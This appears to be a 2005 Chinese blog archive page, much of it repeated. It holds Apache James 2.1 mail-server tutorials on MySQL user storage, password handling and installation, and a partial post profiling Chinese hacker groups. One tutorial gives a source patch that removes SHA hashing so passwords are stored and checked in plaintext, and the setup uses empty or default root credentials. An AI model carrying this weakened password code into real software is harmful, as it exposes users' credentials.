星期二, 十二月 27, 2005
星期一, 十二月 26, 2005
Apache James用户信息的数据库存储和密码问题
本文主要解决两个问题:一个是如何将James的用户信息存储到数据库中,二是在进行James二次开发时,如何处理密码问题。本文面向对James有一定使用经验的用户,对于James的初学者,请先阅读我的另一篇文章《Apache James使用入门》。
一、James简介
Apache James(Java Apache Mail Enterprise Server)是Apache组织的子项目之一,完全采用纯Java技术开发,实现了SMTP、POP3与NNTP等多种邮件相关协议。
James也是一个邮件应用平台,可以通过Mailet扩充其功能,如Mail2SMS、Mail2Fax等。James提供了比较完善的配置方案,尤其是关于邮件内容存储和用户信息存储部分,可以选择在文件、数据库或其他介质中保存。
James性能稳定、可配置性强,还是开源项目,所有源代码不存在版权问题,因此,James在项目中的应用日益广泛,现在常用版本为2.1,但最新版本2.3已经推出,在本文中,我们将仍以James2.1作为介绍蓝本。
二、一个假设的项目
假设我要以James为邮件服务器,开发一套基于Web的邮件系统,就像263.net,163.net一样,要求实现在线注册、在线收发邮件等功能。
默认情况下,James的用户信息存储在文本中,虽然加了密,但由于文本存档不足,不便于查询及相应处理,幸好James提供了多种用户信息存储方案,如数据库存储,LDAP存储等。
这里我们将以数据库存储为例,讲解用户信息的管理,数据库采用MySQL。当然你也可以采用LDAP,比如免费的OpenLDAP,功能非常强大。
三、用户信息的数据库存储
James邮件用户的用户信息默认保存在apps\james\var\users目录下,通过修改配置文件apps\james\SAR-INF\config.xml,可以把用户信息保存到数据库中,配置方法如下:
第一步:在MySQL中新建一个数据库mail,用户名root,密码为空;
第二步:打开config.xml,找到这一项,此面默认的内容为:
需要修改为:
file://conf/sqlResources.xml
通过修改,我们就把用户信息的存储介质从file改成了db,是指明了在db中的数据表结构及相关数据库信息。
第三步:仍然是config.xml,找到项,默认内容为空,把此项内容修改为:
org.gjt.mm.mysql.Driver
jdbc:mysql://127.0.0.1/mail
root
20
是指MySQL的JDBC驱动,指数据库的访问路径,IP后的mail即MySQL中新建数据库名,接下来是用户名、密码及最大连接数。
至此,数据库配置完成,启动James,若正常无误,请通过telnet添加一个新用户,比如adduser holen 123456,然后检查 MySQL中的mail数据库,下面将有一个表users,这是James根据file://conf/sqlResources.xml的内容创建的。
通过以上配置,James的用户信息就可以保存在数据库中了。
四、密码问题
当你通过telnet添加新用户时,比如adduser holen 123456,你可以查看数据库中的记录,第一个字段是holen,第二字段是密码,但密码并非123456,而一串“乱码”(zhwQUMTwdMqWfm/h0biB51Gf)??这是加密码后的密码内容,再看后面的字段是 “SHA”,显然用的是SHA加密方式。
通过telnet方式添加新用户,用户密码将自动加密,然后插入数据库中。但通过telnet方式进行用户管理有着诸多不便,尽管你可以借助James的一个RMI工具包,提高效率,但仍然没有本质改变,当需要用作商业用途时,你更不能要求你的客户熟记那一堆命令符。
一般我们可以做一个Web前端,通过网页形式,添加修改用户,界面友好,傻瓜化使用,如263或163一样。若这样做,我们就需要直接操作数据库,添加用户记录或修改删除用户记录了。但别忘了,James默认对用户密码是加密的,既然我们要直接操作数据库,那么我们只有两个选择:要么我们研究其密码机制,添加记录时,我们对新增用户的密码进行同样加密,要么我们去掉James的加密机制,使其明码保存。
幸好,这两种选择都是可行的。我们从Apache网站下载James的源码包,下载后的文件为james-2.1-src.zip,接近8M,通过分析源码,我们发现,与用户密码相关的文件是DefaultUser.java,部分源码如下:
package org.apache.james.userrepository;
……
/**
* Method to verify passwords.
*
* @param pass the String that is claimed to be the password for this user
* @return true if the hash of pass with the current algorithm matches
* the stored hash.
*/
public boolean verifyPassword(String pass) {
try {
String hashGuess = DigestUtil.digestString(pass, algorithm);
return hashedPassword.equals(hashGuess);
} catch (NoSuchAlgorithmException nsae) {
throw new RuntimeException("Security error: " + nsae);
}
}
/**
* Sets new password from String. No checks made on guessability of
* password.
*
* @param newPass the String that is the new password.
* @return true if newPass successfuly hashed
*/
public boolean setPassword(String newPass) {
try {
hashedPassword = DigestUtil.digestString(newPass, algorithm);
return true;
} catch (NoSuchAlgorithmException nsae) {
throw new RuntimeException("Security error: " + nsae);
}
}
……
第一个方法verifyPassword()是用来做密码认证,传入的参数是明文密码,通过DigestUtil.digestString()方法,转换成密文密码,然后与数据库中密码作比较,返回比较结果。请注意这里的DigestUtil.digestString()方法,在后面还在提到。
第二个方法setPassword()是用于密码转换的,把明文转成密文,用的同样是DigestUtil.digestString()方法。
谈到这里,相信你应该知道怎么在自己的程序中进行密码转换和密码认证了吧!其实并不是要你自己去写一个SHA的加密算法,既然James已经提供了此功能,你调用便是了。
还有一种情况,开发者需要在数据库中必须用明文保存密码,这样就不必在自己写的程序中进行密码转换了,而且当多个应用系统采用统一用户模型时,最好只有一个用户实例。要实现这个需求,就只能修改James源代码了,把verifyPassword()方法和setPassword()改成:
public boolean verifyPassword(String pass) {
return hashedPassword.equals(pass);
}
public boolean setPassword(String newPass) {
hashedPassword = newPass;
return true;
}
其实就是把转换过程去掉,保存和认证就都采用明文进行了。
你要是觉得SHA方式不妥,也可以挂接别的加密方式,同样是修改这两个方法。
注意,当你修改了James的源码后,你需要用Ant重新build James项目,build后将在james-2.1-src\dist\james -2.1\apps下面找到新生成的james.sar文件。把该文件覆盖James原来james.sar,并删除与james.sar同级的 james目录,重启动james即可。建议保留原来的config.xml,免得又配一次。
通过以上探讨,我们明白了如何通过Web方式进行用户注册和用户登记等。需要说明一点是,James自动生成的users表中只有7个字段,而且都是系统需要使用的。一般注册时需要输入的信息项比较多,这时建议开发者自己再建一个新表USERINFO,用username把两个表关联起来,不建议修改users表的内容(如果想试试,请参考 file://conf/sqlResources.xml)。
五、基于James的邮件系统开发方案简述
James运行在Win2000上,客户端采用Web界面(仿263风格)、Foxmail或OutLook Express,该系统主要面向1000人以下的中小企业。
基于James的邮件开发,主要包括两个方面:一是邮件系统的后台管理,另一个是客户端应用系统。
后台管理的功能主要包括用户的添加、删除、修改、用户使用空间指配、邮件备份等。
Web客户端功能包括收件箱、发邮件、发件箱、草稿箱、回收站、地址本、自定义文件夹、配置等。
用户信息存储在MySQL数据库中,邮件内容默认存储在文档中。
系统采用Struts架构,运行环境为Apache1.3+Tomcat4.1,数据库连接池采用Tomcat自带的DBCP。
系统开发预计需60人天完成,开发人员需要掌握Struts和JavaMail。
压力测试超过50个并发。
六、参考资料
James 2.1 Documentation ,
一、James简介
Apache James(Java Apache Mail Enterprise Server)是Apache组织的子项目之一,完全采用纯Java技术开发,实现了SMTP、POP3与NNTP等多种邮件相关协议。
James也是一个邮件应用平台,可以通过Mailet扩充其功能,如Mail2SMS、Mail2Fax等。James提供了比较完善的配置方案,尤其是关于邮件内容存储和用户信息存储部分,可以选择在文件、数据库或其他介质中保存。
James性能稳定、可配置性强,还是开源项目,所有源代码不存在版权问题,因此,James在项目中的应用日益广泛,现在常用版本为2.1,但最新版本2.3已经推出,在本文中,我们将仍以James2.1作为介绍蓝本。
二、一个假设的项目
假设我要以James为邮件服务器,开发一套基于Web的邮件系统,就像263.net,163.net一样,要求实现在线注册、在线收发邮件等功能。
默认情况下,James的用户信息存储在文本中,虽然加了密,但由于文本存档不足,不便于查询及相应处理,幸好James提供了多种用户信息存储方案,如数据库存储,LDAP存储等。
这里我们将以数据库存储为例,讲解用户信息的管理,数据库采用MySQL。当然你也可以采用LDAP,比如免费的OpenLDAP,功能非常强大。
三、用户信息的数据库存储
James邮件用户的用户信息默认保存在apps\james\var\users目录下,通过修改配置文件apps\james\SAR-INF\config.xml,可以把用户信息保存到数据库中,配置方法如下:
第一步:在MySQL中新建一个数据库mail,用户名root,密码为空;
第二步:打开config.xml,找到
需要修改为:
通过修改,我们就把用户信息的存储介质从file改成了db,
第三步:仍然是config.xml,找到
至此,数据库配置完成,启动James,若正常无误,请通过telnet添加一个新用户,比如adduser holen 123456,然后检查 MySQL中的mail数据库,下面将有一个表users,这是James根据file://conf/sqlResources.xml的内容创建的。
通过以上配置,James的用户信息就可以保存在数据库中了。
四、密码问题
当你通过telnet添加新用户时,比如adduser holen 123456,你可以查看数据库中的记录,第一个字段是holen,第二字段是密码,但密码并非123456,而一串“乱码”(zhwQUMTwdMqWfm/h0biB51Gf)??这是加密码后的密码内容,再看后面的字段是 “SHA”,显然用的是SHA加密方式。
通过telnet方式添加新用户,用户密码将自动加密,然后插入数据库中。但通过telnet方式进行用户管理有着诸多不便,尽管你可以借助James的一个RMI工具包,提高效率,但仍然没有本质改变,当需要用作商业用途时,你更不能要求你的客户熟记那一堆命令符。
一般我们可以做一个Web前端,通过网页形式,添加修改用户,界面友好,傻瓜化使用,如263或163一样。若这样做,我们就需要直接操作数据库,添加用户记录或修改删除用户记录了。但别忘了,James默认对用户密码是加密的,既然我们要直接操作数据库,那么我们只有两个选择:要么我们研究其密码机制,添加记录时,我们对新增用户的密码进行同样加密,要么我们去掉James的加密机制,使其明码保存。
幸好,这两种选择都是可行的。我们从Apache网站下载James的源码包,下载后的文件为james-2.1-src.zip,接近8M,通过分析源码,我们发现,与用户密码相关的文件是DefaultUser.java,部分源码如下:
package org.apache.james.userrepository;
……
/**
* Method to verify passwords.
*
* @param pass the String that is claimed to be the password for this user
* @return true if the hash of pass with the current algorithm matches
* the stored hash.
*/
public boolean verifyPassword(String pass) {
try {
String hashGuess = DigestUtil.digestString(pass, algorithm);
return hashedPassword.equals(hashGuess);
} catch (NoSuchAlgorithmException nsae) {
throw new RuntimeException("Security error: " + nsae);
}
}
/**
* Sets new password from String. No checks made on guessability of
* password.
*
* @param newPass the String that is the new password.
* @return true if newPass successfuly hashed
*/
public boolean setPassword(String newPass) {
try {
hashedPassword = DigestUtil.digestString(newPass, algorithm);
return true;
} catch (NoSuchAlgorithmException nsae) {
throw new RuntimeException("Security error: " + nsae);
}
}
……
第一个方法verifyPassword()是用来做密码认证,传入的参数是明文密码,通过DigestUtil.digestString()方法,转换成密文密码,然后与数据库中密码作比较,返回比较结果。请注意这里的DigestUtil.digestString()方法,在后面还在提到。
第二个方法setPassword()是用于密码转换的,把明文转成密文,用的同样是DigestUtil.digestString()方法。
谈到这里,相信你应该知道怎么在自己的程序中进行密码转换和密码认证了吧!其实并不是要你自己去写一个SHA的加密算法,既然James已经提供了此功能,你调用便是了。
还有一种情况,开发者需要在数据库中必须用明文保存密码,这样就不必在自己写的程序中进行密码转换了,而且当多个应用系统采用统一用户模型时,最好只有一个用户实例。要实现这个需求,就只能修改James源代码了,把verifyPassword()方法和setPassword()改成:
public boolean verifyPassword(String pass) {
return hashedPassword.equals(pass);
}
public boolean setPassword(String newPass) {
hashedPassword = newPass;
return true;
}
其实就是把转换过程去掉,保存和认证就都采用明文进行了。
你要是觉得SHA方式不妥,也可以挂接别的加密方式,同样是修改这两个方法。
注意,当你修改了James的源码后,你需要用Ant重新build James项目,build后将在james-2.1-src\dist\james -2.1\apps下面找到新生成的james.sar文件。把该文件覆盖James原来james.sar,并删除与james.sar同级的 james目录,重启动james即可。建议保留原来的config.xml,免得又配一次。
通过以上探讨,我们明白了如何通过Web方式进行用户注册和用户登记等。需要说明一点是,James自动生成的users表中只有7个字段,而且都是系统需要使用的。一般注册时需要输入的信息项比较多,这时建议开发者自己再建一个新表USERINFO,用username把两个表关联起来,不建议修改users表的内容(如果想试试,请参考 file://conf/sqlResources.xml)。
五、基于James的邮件系统开发方案简述
James运行在Win2000上,客户端采用Web界面(仿263风格)、Foxmail或OutLook Express,该系统主要面向1000人以下的中小企业。
基于James的邮件开发,主要包括两个方面:一是邮件系统的后台管理,另一个是客户端应用系统。
后台管理的功能主要包括用户的添加、删除、修改、用户使用空间指配、邮件备份等。
Web客户端功能包括收件箱、发邮件、发件箱、草稿箱、回收站、地址本、自定义文件夹、配置等。
用户信息存储在MySQL数据库中,邮件内容默认存储在文档中。
系统采用Struts架构,运行环境为Apache1.3+Tomcat4.1,数据库连接池采用Tomcat自带的DBCP。
系统开发预计需60人天完成,开发人员需要掌握Struts和JavaMail。
压力测试超过50个并发。
六、参考资料
James 2.1 Documentation ,
Apache James使用入门
一、简介
Apache James(Java Apache Mail Enterprise Server)是Apache组织的子项目之一,完全采用纯Java技术开发,实现了SMTP、POP3与NNTP等多种邮件相关协议。
James也是一个邮件应用平台,可以通过Mailet扩充其功能,如Mail2SMS、Mail2Fax等。James提供了比较完善的配置方案,尤其是关于邮件内容存储和用户信息存储部分,可以选择在文件、数据库或其他介质中保存。
James性能稳定、可配置性强,还是开源项目,所有源代码不存在版权问题,因此,James在项目中的应用日益广泛,现在常用版本为2.1,但最新版本2.3已经推出,在本文中,我们将仍以James2.1作为介绍蓝本。
二、安装与配置
James的安装配置过程非常简单。
第一步:安装JDK
请使用JDK1.3以上版本(推荐使用JDK1.4),假设安装在c:\jdk1.3。
第二步:下载James,并解压
可以到Apache网站上下载James2.1,下载将得到一个压缩文件james-2.1.zip,大小为4.45M,将此包解压到c:\james。
第三步:直接运行或需要配置JAVA_HOME
这时,可以尝试直接双击c:\james\bin\run.bat,若启动无误,将提示如下:
Using PHOENIX_HOME: C:\james
Using PHOENIX_TMPDIR: C:\james\temp
Using JAVA_HOME:
Phoenix 4.0.1
James 2.1
Remote Manager Service started plain:4555
POP3 Service started plain:110
SMTP Service started plain:25
NNTP Service Disabled
Fetch POP Disabled
也有可能启动不了,并报JAVA_HOME找不到,这时,需要指定JAVA_HOME,比较简单的方法是在c:\james\bin\run.bat中指定JAVA_HOME,修改后的run.bat如下:
……
rem
rem Determine if JAVA_HOME is set and if so then use it
rem
set JAVA_HOME= c:\jdk1.3
if not "%JAVA_HOME%"=="" goto found_java
……
修改完后再运行run.bat,应该就可以正常启动了,若还有什么问题,请参见本文的FAQ部分。
三、项目应用
1、 项目需求
某单位,有16个职能处室,共78台电脑(操作系统为Win98/2000/xp),其中有1台为专用服务器(Win2000),已连成局域网。为使单位内部的信息交流,尤其是文件交互更加便捷,单位决定在局域网内部架设一套E-mail系统。
2、 解决方案
在专用服务器上安装James2.1,客户端使用操作系统自带的Outlook Express。
3、 服务器端配置
首先找出专用服务器的名字,假设叫unitname。
然后打开文件c:\james\apps\james\SAR-INF\config.xml。
在config.xml文件中,找到 Postmaster@localhost ,把此项改为 Postmaster@unitname ,同理,找到 localhost ,把此项改为unitname< /servername>。其实,改这两项就是把默认的localhost改为机器名,这样做是为了让其它机器也能访问邮件系统,当然,前提是在局域网上没有与服务器重名的机器。
4、 客户端配置
假设有一个账号,用户名为holen,密码为123456,如何在Outlook中配置呢?
首先,根据用户名,可以得出该用户邮箱地址为holen@unitname ,然后在输入POP3和SMTP服务器时,直接使用服务器机器名unitname即可。
5、 帐号管理
James的账号管理是通过telnet完成的,登录命令为:
telnet unitname 4555
其中unitname也可以换成IP,4555是端口号。登录时需要用户名和密码,初始的用户名和密码均为root。若登录成功,提示如下:
JAMES Remote Administration Tool 2.1
Please enter your login and password
Login id:
Password:
Welcome root. HELP for a list of commands
需要注意的是,所有敲入的命令都不显示在屏幕上。
输入help,将出现命令的帮助,信息如下:
JAMES Remote Administration Tool 2.1
Please enter your login and password
Login id:
Password:
Welcome root. HELP for a list of commands
Currently implemented commands:
help display this help
listusers display existing accounts
countusers display the number of existing accounts
adduser [username] [password] add a new user
verify [username] verify if specified user exist
deluser [username] delete existing user
setpassword [username] [password] sets a user's password
setalias [alias] [user] locally forwards all email for 'alias' t
o 'user'
unsetalias [alias] unsets an alias
setforwarding [username] [emailaddress] forwards a user's email to another email
address
unsetforwarding [username] removes a forward
user [repositoryname] change to another user repository
shutdown kills the current JVM (convenient when J
ames is run as a daemon)
quit close connection
常用的命令有listusers、countusers、adduser、deluser、setpassword等。
其中添加用户为adduser,例如:adduser holen 123456。
通过这个后台管理界面,管理员就可以实现账号管理及其他相应的管理功能。
6、 应用情况
这套系统在该单位经过一周的试运行后,已正式运行两个月,用户数约百人,一直很稳定,期间,因操作系统故障,服务器重启两次,其他时间,一直处于运行状态,性能稳定,响应速度快。
四、FAQ
1、 在启动james时,提示POP3或SMTP不能使用?
请检查一下,看“管理工具—>服务”里面,是不是启动了别的邮件服务器,已将110或25端口占用了。
2、 JAVA_HOME找不到?
请在run.bat中指定JAVA_HOME,若还不行,请在“我的电脑—>系统—>高级—>环境变量”中添加一项JAVA_HOME(一般不推荐这么做)。
3、 服务器启动正常,但客户端不能收发邮件?
请检查客户端配置是否正常,参照前面所讲,另外,请检查james下的config.xml,是否把localhost改成了机器名。
五、总结
总体而言,James是一款十分优秀的邮件服务器,具有性能稳定、扩展性好、可配置性强、响应速度快、源码公开等优点。同时,由于James的后台管理不够方便、缺少必要的技术支持等原因,限制了james的高端企业级应用。
就目前情况而言,James主要用于1000用户量以内的邮件系统,而且当James用于商业性项目时,开发商一般需要对James进行相应的包装,主要是后台管理这一块。
六、参考资料
James 2.1 Documentation
Apache James(Java Apache Mail Enterprise Server)是Apache组织的子项目之一,完全采用纯Java技术开发,实现了SMTP、POP3与NNTP等多种邮件相关协议。
James也是一个邮件应用平台,可以通过Mailet扩充其功能,如Mail2SMS、Mail2Fax等。James提供了比较完善的配置方案,尤其是关于邮件内容存储和用户信息存储部分,可以选择在文件、数据库或其他介质中保存。
James性能稳定、可配置性强,还是开源项目,所有源代码不存在版权问题,因此,James在项目中的应用日益广泛,现在常用版本为2.1,但最新版本2.3已经推出,在本文中,我们将仍以James2.1作为介绍蓝本。
二、安装与配置
James的安装配置过程非常简单。
第一步:安装JDK
请使用JDK1.3以上版本(推荐使用JDK1.4),假设安装在c:\jdk1.3。
第二步:下载James,并解压
可以到Apache网站上下载James2.1,下载将得到一个压缩文件james-2.1.zip,大小为4.45M,将此包解压到c:\james。
第三步:直接运行或需要配置JAVA_HOME
这时,可以尝试直接双击c:\james\bin\run.bat,若启动无误,将提示如下:
Using PHOENIX_HOME: C:\james
Using PHOENIX_TMPDIR: C:\james\temp
Using JAVA_HOME:
Phoenix 4.0.1
James 2.1
Remote Manager Service started plain:4555
POP3 Service started plain:110
SMTP Service started plain:25
NNTP Service Disabled
Fetch POP Disabled
也有可能启动不了,并报JAVA_HOME找不到,这时,需要指定JAVA_HOME,比较简单的方法是在c:\james\bin\run.bat中指定JAVA_HOME,修改后的run.bat如下:
……
rem
rem Determine if JAVA_HOME is set and if so then use it
rem
set JAVA_HOME= c:\jdk1.3
if not "%JAVA_HOME%"=="" goto found_java
……
修改完后再运行run.bat,应该就可以正常启动了,若还有什么问题,请参见本文的FAQ部分。
三、项目应用
1、 项目需求
某单位,有16个职能处室,共78台电脑(操作系统为Win98/2000/xp),其中有1台为专用服务器(Win2000),已连成局域网。为使单位内部的信息交流,尤其是文件交互更加便捷,单位决定在局域网内部架设一套E-mail系统。
2、 解决方案
在专用服务器上安装James2.1,客户端使用操作系统自带的Outlook Express。
3、 服务器端配置
首先找出专用服务器的名字,假设叫unitname。
然后打开文件c:\james\apps\james\SAR-INF\config.xml。
在config.xml文件中,找到
4、 客户端配置
假设有一个账号,用户名为holen,密码为123456,如何在Outlook中配置呢?
首先,根据用户名,可以得出该用户邮箱地址为holen@unitname ,然后在输入POP3和SMTP服务器时,直接使用服务器机器名unitname即可。
5、 帐号管理
James的账号管理是通过telnet完成的,登录命令为:
telnet unitname 4555
其中unitname也可以换成IP,4555是端口号。登录时需要用户名和密码,初始的用户名和密码均为root。若登录成功,提示如下:
JAMES Remote Administration Tool 2.1
Please enter your login and password
Login id:
Password:
Welcome root. HELP for a list of commands
需要注意的是,所有敲入的命令都不显示在屏幕上。
输入help,将出现命令的帮助,信息如下:
JAMES Remote Administration Tool 2.1
Please enter your login and password
Login id:
Password:
Welcome root. HELP for a list of commands
Currently implemented commands:
help display this help
listusers display existing accounts
countusers display the number of existing accounts
adduser [username] [password] add a new user
verify [username] verify if specified user exist
deluser [username] delete existing user
setpassword [username] [password] sets a user's password
setalias [alias] [user] locally forwards all email for 'alias' t
o 'user'
unsetalias [alias] unsets an alias
setforwarding [username] [emailaddress] forwards a user's email to another email
address
unsetforwarding [username] removes a forward
user [repositoryname] change to another user repository
shutdown kills the current JVM (convenient when J
ames is run as a daemon)
quit close connection
常用的命令有listusers、countusers、adduser、deluser、setpassword等。
其中添加用户为adduser,例如:adduser holen 123456。
通过这个后台管理界面,管理员就可以实现账号管理及其他相应的管理功能。
6、 应用情况
这套系统在该单位经过一周的试运行后,已正式运行两个月,用户数约百人,一直很稳定,期间,因操作系统故障,服务器重启两次,其他时间,一直处于运行状态,性能稳定,响应速度快。
四、FAQ
1、 在启动james时,提示POP3或SMTP不能使用?
请检查一下,看“管理工具—>服务”里面,是不是启动了别的邮件服务器,已将110或25端口占用了。
2、 JAVA_HOME找不到?
请在run.bat中指定JAVA_HOME,若还不行,请在“我的电脑—>系统—>高级—>环境变量”中添加一项JAVA_HOME(一般不推荐这么做)。
3、 服务器启动正常,但客户端不能收发邮件?
请检查客户端配置是否正常,参照前面所讲,另外,请检查james下的config.xml,是否把localhost改成了机器名。
五、总结
总体而言,James是一款十分优秀的邮件服务器,具有性能稳定、扩展性好、可配置性强、响应速度快、源码公开等优点。同时,由于James的后台管理不够方便、缺少必要的技术支持等原因,限制了james的高端企业级应用。
就目前情况而言,James主要用于1000用户量以内的邮件系统,而且当James用于商业性项目时,开发商一般需要对James进行相应的包装,主要是后台管理这一块。
六、参考资料
James 2.1 Documentation
Installing James 2.1.3
Installing James 2.1.3
Information:
none
Operating system used:
Windows XP Home Edition Version 5.1 SP 2
Software prerequisites:
Java 2 Standard Edition (J2SE) SDK, version 1.3 or higher.
Note: If J2SE SDK 1.4.x is installed, please remove xerces.jar from Phoenix's lib dir. This is because J2SE SDK 1.4.x comes with xerces, and Phoenix may object to two versions in the classpath.
Procedure:
1. Download and unzip james-2.1.3.zip
e.g.: C:\Tools\james-2.1.3
2. For security reasons change the root username and password:
cd C:\Tools\james-2.1.3\apps\james\SAR-INF
3. Edit config.xml. Change the following:
into (this is an example)
4. To execute James, enter command:
C:\Tools\james-2.1.3\bin run.bat
You should see:
Using PHOENIX_HOME: C:\Tools\james-2.1.3
Using PHOENIX_TMPDIR: C:\Tools\james-2.1.3\temp
Using JAVA_HOME: C:\Tools\java\j2sdk1.4.2_01
Phoenix 4.0.1
James 2.1.3
Remote Manager Service started plain:4555
POP3 Service started plain:110
SMTP Service started plain:25
NNTP Service started plain:119
Fetch POP Disabled
5. James should be configured by first adding users, to do this telnet to port 4555:
telnet 127.0.0.1 4555
You should see:
JAMES Remote Administration Tool 2.1.3
Please enter your login and password
Login id:
6. Use the previously changed root username (e.g.: jamesroot) and password (e.g.: jamesmysecret) to log in. Once logged in, you should see:
Welcome root. HELP for a list of commands
Note: If you type help, you will get the following list of commands:
command Description
help Display this help.
listusers Display existing accounts
countusers Display the number of existing accounts.
adduser [username] [password] Add a new user.
verify [username] Verify if specified user exist.
deluser [username] Delete existing user.
setpassword [username] [password] Sets a user's password.
setalias [alias] [user] Locally forwards all email for 'alias' to 'user'
unsetalias [alias] Unsets an alias.
setforwarding [username] [emailaddress] Forwards a user's email to another email address.
unsetforwarding [username] Removes a forward.
user [repositoryname] Change to another user repository.
shutdown Kills the current JVM (convenient when James is run as a daemon).
quit Close connection.
7. To add a new user, type: adduser mailuser mymailsecret
8. Test James by sending emails to the previously added users.
Note: All emails received by James can be found in:
C:\Tools\james-2.1.3\apps\james\var\mail\inboxes.
9. To setup James as a windows service:
C:\Tools\james-2.1.3\bin>wrapper -i ..\conf\wrapper.conf
you should see:
wrapper | James Mail Server 2.1 installed.
To remove James as a windows service:
C:\Tools\james-2.1.3\bin>wrapper -r ..\conf\wrapper.conf
you should see:
wrapper | Service is running. Stopping it...
wrapper | Waiting to stop...
wrapper | James Mail Server 2.1 stopped.
wrapper | James Mail Server 2.1 removed.
Note: To get more information about the wrapper command, type: C:\Tools\james-2.1.3\bin>wrapper
10. Specify the DNS server. To find out, type:
ipconfig /all
you should see:
DNS-servers . . . . . . . . . . . : 10.0.0.2
11. To stop James press CTRL+C
Information:
none
Operating system used:
Windows XP Home Edition Version 5.1 SP 2
Software prerequisites:
Java 2 Standard Edition (J2SE) SDK, version 1.3 or higher.
Note: If J2SE SDK 1.4.x is installed, please remove xerces.jar from Phoenix's lib dir. This is because J2SE SDK 1.4.x comes with xerces, and Phoenix may object to two versions in the classpath.
Procedure:
1. Download and unzip james-2.1.3.zip
e.g.: C:\Tools\james-2.1.3
2. For security reasons change the root username and password:
cd C:\Tools\james-2.1.3\apps\james\SAR-INF
3. Edit config.xml. Change the following:
into (this is an example)
4. To execute James, enter command:
C:\Tools\james-2.1.3\bin run.bat
You should see:
Using PHOENIX_HOME: C:\Tools\james-2.1.3
Using PHOENIX_TMPDIR: C:\Tools\james-2.1.3\temp
Using JAVA_HOME: C:\Tools\java\j2sdk1.4.2_01
Phoenix 4.0.1
James 2.1.3
Remote Manager Service started plain:4555
POP3 Service started plain:110
SMTP Service started plain:25
NNTP Service started plain:119
Fetch POP Disabled
5. James should be configured by first adding users, to do this telnet to port 4555:
telnet 127.0.0.1 4555
You should see:
JAMES Remote Administration Tool 2.1.3
Please enter your login and password
Login id:
6. Use the previously changed root username (e.g.: jamesroot) and password (e.g.: jamesmysecret) to log in. Once logged in, you should see:
Welcome root. HELP for a list of commands
Note: If you type help, you will get the following list of commands:
command Description
help Display this help.
listusers Display existing accounts
countusers Display the number of existing accounts.
adduser [username] [password] Add a new user.
verify [username] Verify if specified user exist.
deluser [username] Delete existing user.
setpassword [username] [password] Sets a user's password.
setalias [alias] [user] Locally forwards all email for 'alias' to 'user'
unsetalias [alias] Unsets an alias.
setforwarding [username] [emailaddress] Forwards a user's email to another email address.
unsetforwarding [username] Removes a forward.
user [repositoryname] Change to another user repository.
shutdown Kills the current JVM (convenient when James is run as a daemon).
quit Close connection.
7. To add a new user, type: adduser mailuser mymailsecret
8. Test James by sending emails to the previously added users.
Note: All emails received by James can be found in:
C:\Tools\james-2.1.3\apps\james\var\mail\inboxes.
9. To setup James as a windows service:
C:\Tools\james-2.1.3\bin>wrapper -i ..\conf\wrapper.conf
you should see:
wrapper | James Mail Server 2.1 installed.
To remove James as a windows service:
C:\Tools\james-2.1.3\bin>wrapper -r ..\conf\wrapper.conf
you should see:
wrapper | Service is running. Stopping it...
wrapper | Waiting to stop...
wrapper | James Mail Server 2.1 stopped.
wrapper | James Mail Server 2.1 removed.
Note: To get more information about the wrapper command, type: C:\Tools\james-2.1.3\bin>wrapper
10. Specify the DNS server. To find out, type:
ipconfig /all
you should see:
DNS-servers . . . . . . . . . . . : 10.0.0.2
11. To stop James press CTRL+C
星期六, 十二月 24, 2005
著名黑客组织
著名黑客组织
先介绍零三年之前的组织。
安全焦点 http://www.xfocus.net/
1999年8月26日由xundi创立,创始人还有quack和casper。后来stardust,isno,glacier,alert7,benjurry,blackhole,eyas,flashsky,funnywei,refdom,tombkeeper,watercloud,wollf等人也加入了近来。站点主页风格一向是很简单。而该组织目前已经成为国内最权威的信息安全站点,也是最接近世界的一个国内组织。目前国内一些技术性比较强的文章都由作者亲自提交到该网站,而国内一些知名的技术属一属二的高手都会去这里的论坛。讨论技术的氛围还可以。而且一些网络安全公司也关注这里的论坛。现在流行的著名扫描工具x-scan的作者就是该组织的成员。从2002年开始,每年都举办一次信息安全峰会,吸引了国内外众多知名网络安全专家关注参加。会议涉及众多领域,备受关注。创造了良好的学术交流氛围。在此祝愿这个组织越走越好。
中国红客联盟(已解散)http://www.cnhonker.com/
借这个机会要说明一下,只有这个红客联盟才配的上是真正的红客联盟,并不是因为他申请了什么专利,而是在大家的眼中,只有他才只真正的红客联盟。这个组织是由lion在2000年12月组建的。曾再2001年带领众多会员参与中美黑客大战,而名震“江湖”。不过这个时代早已逝去,激情的往事也跟着逝去,留给人们的只有回忆。在2005年的最后一天,lion在主页上宣布正式解散。或许很多人难以理解吧。不过这也自有人家的道理。现在外面有N个红盟,我不屑于去关注他们。在此祝福lion,bkbll等人。对sharpwinner我就懒的说什么了。
中国鹰派 http://www.chinawill.com/
与红客联盟一样,都是2000年末创立,并且在2001年参与了中美黑客大战。站长万涛也是早期的绿色兵团成员。并且也参与了在2000年前的几次网络战争。至尽这个组织依然没有倒下。近几年中并没有什么大的事件发生。所以很多人对他都已经没有了什么印象。希望他们越走越好。
邪恶八进制 http://www.eviloctal.com/
2002年由冰血封情创立,当时是以小组模式运营的,而发展到现在已经成为一个30多人的信息安全团队。主页做的很简单,但论坛内容非常丰富,涉及领域众多,在下经常去那里下载学术资料,论坛管理的是我所见过的论坛中最好的。而且讨论氛围也很不错。鄙人与那里的几个核心成员有所接触,都是比较热心的,而且技术都是比较强的。祝愿这个组织越办越好。我对这个团队的发展充满期望。
幻影旅团 http://www.ph4nt0m.org/
2001年创立,发展到现在组织成员已经达到20人,近期组织推出了WIKI平台(http://www.secwiki.com),内容涉及无线网络,病毒与反病毒,以及黑客技术等众多领域。所有的朋友都可以到那里去涂鸦。2002年开放了论坛,目前论坛的技术讨论氛围还是可以的,而且热心人也是很多的。相信这个组织也能走下去。
白细胞(whitecell) http://www.whitecell.org/
2001年创立的一个纯技术交流站点。当时核心成员有sinister,无花果等人,都是国内著名的高手。在2002年后就关闭了,而最近它由回来了。主页与论坛依然都很简单。希望这次回归会带给大家新的气象。
中华安全网 http://www.safechina.net/
2001年4月创立,经过了几次改版后,队伍也发展的比较大,我所熟悉的有yellow,Phoenix等人。到现在,这个网站还在改版中,不过论坛依然开放,在这里还是有讨论空间的。组织内的人技术也都是不错的。希望这次改版后会有大的变化:)。
第八军团
2000年左右由陈三公子组织成立,后经过多次改版。成为了一个VIP制的站点,资源收集量还是不错的。鄙人经常去那里找代理服务器,更新的速度还是可以的。论坛里讨论气氛不是很热烈。希望今后发展的会更好。
来说说这两年成立的黑客组织
BCT http://www.cnbct.org/
